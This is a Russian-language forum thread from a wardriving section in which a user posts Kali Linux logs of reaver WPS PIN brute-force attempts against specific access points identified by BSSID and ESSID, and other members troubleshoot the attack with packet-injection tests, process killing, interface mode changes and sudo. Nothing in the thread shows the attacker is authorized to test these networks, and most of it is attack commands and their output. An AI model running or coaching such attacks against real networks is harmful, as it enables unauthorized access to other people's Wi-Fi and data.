[Wi-Fi, BT] Задай вопрос - получи ответ!

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by user100, 25 Apr 2015.

  1. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Вы уверены, что ваша целевая точка доступа с WEP шифрованием?
    Вы бы лучше присылали логи с командами, которые вводите в терминал, и результат их выполнения. Так было бы проще сказать, в чём ошибка.
     
  2. hcker

    hcker New Member

    Joined:
    2 Jun 2017
    Messages:
    75
    Likes Received:
    3
    Reputations:
    0
    Если дадите нормальный метод, пришлю логи, а так в чем еще прикол что беспроводной интерфейс не wlan0 или wifi0, а wlan0mon
     
  3. hcker

    hcker New Member

    Joined:
    2 Jun 2017
    Messages:
    75
    Likes Received:
    3
    Reputations:
    0
    А вот тут я запорол; там wpa2
     
  4. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    o_O

    По предоставленной ссылке вполне нормальный мануал.
     
  5. hcker

    hcker New Member

    Joined:
    2 Jun 2017
    Messages:
    75
    Likes Received:
    3
    Reputations:
    0
    Code:
    root@kali:~# airmon-ng
    
    PHY    Interface    Driver        Chipset
    
    phy0    wlan0        ath9k        Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01)
    
    root@kali:~# airmon-ng start wlan0
    
    Found 2 processes that could cause trouble.
    If airodump-ng, aireplay-ng or airtun-ng stops working after
    a short period of time, you may want to run 'airmon-ng check kill'
    
      PID Name
     1114 NetworkManager
     1218 wpa_supplicant
    
    PHY    Interface    Driver        Chipset
    
    phy0    wlan0        ath9k        Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01)
    
            (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
            (mac80211 station mode vif disabled for [phy0]wlan0)
    
    root@kali:~# reaver -i wlan0mon -b EC:08:6B:A7:42:E8 -c 10 -e Lilya
    
    Reaver v1.5.3 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
    mod by t6_x <[email protected]> & DataHead & Soxrok2212 & Wiire & AAnarchYY & KokoSoft
    
    [+] Waiting for beacon from EC:08:6B:A7:42:E8
    [!] WARNING: Failed to associate with EC:08:6B:A7:42:E8 (ESSID: Lilya)
    [!] WARNING: Failed to associate with EC:08:6B:A7:42:E8 (ESSID: Lilya)
    [!] WARNING: Failed to associate with EC:08:6B:A7:42:E8 (ESSID: Lilya)
    ^C      
    root@kali:~# reaver -i wlan0mon -b EC:08:6B:A7:42:E8 -c 10 -e Lilya -vv
    
    Reaver v1.5.3 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
    mod by t6_x <[email protected]> & DataHead & Soxrok2212 & Wiire & AAnarchYY & KokoSoft
    
    [+] Switching wlan0mon to channel 10
    [+] Waiting for beacon from EC:08:6B:A7:42:E8
    [!] WARNING: Failed to associate with EC:08:6B:A7:42:E8 (ESSID: Lilya)
    ^Z
    [1]+  Stopped                 reaver -i wlan0mon -b EC:08:6B:A7:42:E8 -c 10 -e Lilya -vv
    root@kali:~# reaver -i wlan0mon -b EC:08:6B:A7:42:E8 -c 10 -e Lilya -vv --nack 
    
    Reaver v1.5.3 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
    mod by t6_x <[email protected]> & DataHead & Soxrok2212 & Wiire & AAnarchYY & KokoSoft
    
    [+] Switching wlan0mon to channel 10
    [+] Waiting for beacon from EC:08:6B:A7:42:E8
    [!] WARNING: Failed to associate with EC:08:6B:A7:42:E8 (ESSID: Lilya)
    [!] WARNING: Failed to associate with EC:08:6B:A7:42:E8 (ESSID: Lilya)
    ^Z
    [2]+  Stopped                 reaver -i wlan0mon -b EC:08:6B:A7:42:E8 -c 10 -e Lilya -vv --nack
    root@kali:~# reaver -i wlan0mon -b EC:08:6B:A7:42:E8 -c 10 -e Lilya -vv --nack --eap-terminate
    
    Reaver v1.5.3 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
    mod by t6_x <[email protected]> & DataHead & Soxrok2212 & Wiire & AAnarchYY & KokoSoft
    
    [+] Switching wlan0mon to channel 10
    [+] Waiting for beacon from EC:08:6B:A7:42:E8
    [!] WARNING: Failed to associate with EC:08:6B:A7:42:E8 (ESSID: Lilya)
    [!] WARNING: Failed to associate with EC:08:6B:A7:42:E8 (ESSID: Lilya)
    [!] WARNING: Failed to associate with EC:08:6B:A7:42:E8 (ESSID: Lilya)
    ^Z
    [3]+  Stopped                 reaver -i wlan0mon -b EC:08:6B:A7:42:E8 -c 10 -e Lilya -vv --nack --eap-terminate
    root@kali:~# reaver -i wlan0mon -b A4:2B:B0:DB:EF:68 -c 10 -e Lilya -vv --nack --eap-terminate
    
    Reaver v1.5.3 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
    mod by t6_x <[email protected]> & DataHead & Soxrok2212 & Wiire & AAnarchYY & KokoSoft
    
    [+] Switching wlan0mon to channel 10
    [+] Waiting for beacon from A4:2B:B0:DB:EF:68
    ^Z
    [4]+  Stopped                 reaver -i wlan0mon -b A4:2B:B0:DB:EF:68 -c 10 -e Lilya -vv --nack --eap-terminate
    root@kali:~# reaver -i wlan0mon -b A4:2B:B0:DB:EF:68 -vv --nack --eap-terminate
    Reaver v1.5.3 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
    mod by t6_x <[email protected]> & DataHead & Soxrok2212 & Wiire & AAnarchYY & KokoSoft
    
    [+] Waiting for beacon from A4:2B:B0:DB:EF:68
    [+] Switching wlan0mon to channel 1
    [+] Switching wlan0mon to channel 2
    [+] Switching wlan0mon to channel 1
    [+] Switching wlan0mon to channel 3
    [+] Switching wlan0mon to channel 1
    [+] Switching wlan0mon to channel 4
    [+] Switching wlan0mon to channel 5
    [+] Switching wlan0mon to channel 1
    [+] Switching wlan0mon to channel 6
    [+] Switching wlan0mon to channel 1
    ^Z
    [5]+  Stopped                 reaver -i wlan0mon -b A4:2B:B0:DB:EF:68 -vv --nack --eap-terminate
    root@kali:~# reaver -i wlan0mon -b A4:2B:B0:DB:EF:68 -c 1 -vv --nack --eap-terminate
    
    Reaver v1.5.3 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
    mod by t6_x <[email protected]> & DataHead & Soxrok2212 & Wiire & AAnarchYY & KokoSoft
    
    [+] Switching wlan0mon to channel 1
    [+] Waiting for beacon from A4:2B:B0:DB:EF:68
    [!] WARNING: Failed to associate with A4:2B:B0:DB:EF:68 (ESSID: TP-LINK_DBEF68)
    [!] WARNING: Failed to associate with A4:2B:B0:DB:EF:68 (ESSID: TP-LINK_DBEF68)
    [+] Associated with A4:2B:B0:DB:EF:68 (ESSID: TP-LINK_DBEF68)
    [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
    [+] Trying pin 12345670
    [!] WARNING: Failed to associate with A4:2B:B0:DB:EF:68 (ESSID: TP-LINK_DBEF68)
    ^Z
    [6]+  Stopped                 reaver -i wlan0mon -b A4:2B:B0:DB:EF:68 -c 1 -vv --nack --eap-terminate
    root@kali:~# 
    
    
     
  6. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Всё правильно делаете, впрочем ESSID указывать необязательно, если точка не скрытая.

    Необходимо проверить, поддерживает ли ваш адаптер инъекцию пакетов:
    https://www.aircrack-ng.org/doku.php?id=injection_test

    Code:
    aireplay-ng -9 wlan0mon
     
  7. hcker

    hcker New Member

    Joined:
    2 Jun 2017
    Messages:
    75
    Likes Received:
    3
    Reputations:
    0
    Проверил работает
    aireplay-ng -9 wlan0 инъекцию поддерживает; aireplay-ng -9 -i wlan1 wlan0 вот это нет: no such device ; aireplay-ng -9 wlan0mon тоже не работает
     
  8. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Смущает то, что каналы переключаются в таком порядке...

    У вас случаем в другом терминале не запущен airodump-ng с фиксированным 1 каналом?
     
  9. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,673
    Likes Received:
    5,797
    Reputations:
    51
    Могут мешать 2 процесса

    Found 2 processes that could cause trouble.
    If airodump-ng, aireplay-ng or airtun-ng stops working after
    a short period of time, you may want to run 'airmon-ng check kill'

    PID Name
    1114 NetworkManager
    1218 wpa_supplicant

    необходимо их прибить

    airmon-ng check kill
     
    Alexmeh likes this.
  10. hcker

    hcker New Member

    Joined:
    2 Jun 2017
    Messages:
    75
    Likes Received:
    3
    Reputations:
    0
    Network manager сам помирает; в тот я вручную останавливал, но ошибка оставалась
     
  11. hcker

    hcker New Member

    Joined:
    2 Jun 2017
    Messages:
    75
    Likes Received:
    3
    Reputations:
    0
    Нет, канал не фиксировал
     
  12. Dioptimizer

    Dioptimizer Member

    Joined:
    18 Nov 2011
    Messages:
    63
    Likes Received:
    25
    Reputations:
    6
    У меня похожая проблема была. Решил таким образом:
    • Не использовал airmon-ng, т.е. голый wlan0.
    • Сначала перевел его в ifconfig в down.
    • Потом в iwconfig перевел его в managed.
    • Потом up в ifconfig.
    И использовал уже в wash или reaver.
     
    hcker likes this.
  13. hcker

    hcker New Member

    Joined:
    2 Jun 2017
    Messages:
    75
    Likes Received:
    3
    Reputations:
    0
    Инъекция работает, но ошибка Failed to associate так и осталась.

    Можно чуть по подробнее,?
     
  14. Dioptimizer

    Dioptimizer Member

    Joined:
    18 Nov 2011
    Messages:
    63
    Likes Received:
    25
    Reputations:
    6
    Сейчас не дома.
    Ну смотрите, использовал я свежий Live CD Xubuntu from ISO(то же самое что и Ubuntu).
    После установки необходимых пакетов я скомпилировал aircrack, PixieWPS, Reaver.

    После того как перевел свой Atheros в утилите airmon-ng в подобие wlan0mon -
    начались такие же проблемы как и у Вас в логе
    и еще перебрало каналы....

    Потом переключил свой адаптер обратно в wlan0 (sudo airmon-ng stop wlan0mon).
    И подключился к сети (искать проблему)...
    Потом по случайности опять запустил свой reaver(подключенным к сети)
    И о чудо - оно заработало.
    Т.е. нужно перевести адаптер wlan0 в режим managed(sudo iwconfig wlan0 mode managed).
     
    hcker likes this.
  15. Dioptimizer

    Dioptimizer Member

    Joined:
    18 Nov 2011
    Messages:
    63
    Likes Received:
    25
    Reputations:
    6
    Да и забыл спросить, у вас wash работает?
    wash - должен работать в любом случае.
    Если он не работает, то и не будет работать reaver.
    Нужно устанавливать специальную библиотеку специальной версии - там баг какой-то.
     
    hcker likes this.
  16. hcker

    hcker New Member

    Joined:
    2 Jun 2017
    Messages:
    75
    Likes Received:
    3
    Reputations:
    0
    Запустил wash -I wlan0 показывает сети, кажись работает.

    Сейчас у меня wlan0mon не находит, только wlan0; команда
    Отвечает что устройство занято(8B06)

    У меня Kali 2017.1 live usb, там это все есть уже
     
  17. Dioptimizer

    Dioptimizer Member

    Joined:
    18 Nov 2011
    Messages:
    63
    Likes Received:
    25
    Reputations:
    6
    Так я же выше написал по пунктам:
    Code:
    sudo ifconfig wlan0 down
    sudo iwconfig wlan0 mode managed
    sudo ifconfig wlan0 up
    
    Будем надеяться, что там все работает.
     
    hcker likes this.
  18. hcker

    hcker New Member

    Joined:
    2 Jun 2017
    Messages:
    75
    Likes Received:
    3
    Reputations:
    0
    И еще при наборе команды
    Code:
    airmon-ng start wlan0
    Внизу выходит сообщение
    (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
    (mac80211 station mode vif disabled for [phy0]wlan0)
     
  19. Dioptimizer

    Dioptimizer Member

    Joined:
    18 Nov 2011
    Messages:
    63
    Likes Received:
    25
    Reputations:
    6
    И еще, запускайте reaver тоже с припиской sudo:
    Code:
    sudo reaver.....
     
    hcker likes this.
  20. roman2580

    roman2580 Member

    Joined:
    22 May 2017
    Messages:
    136
    Likes Received:
    11
    Reputations:
    0
    подскажите как сделать откат в kali на Aircrack-ng 1.2 RC 1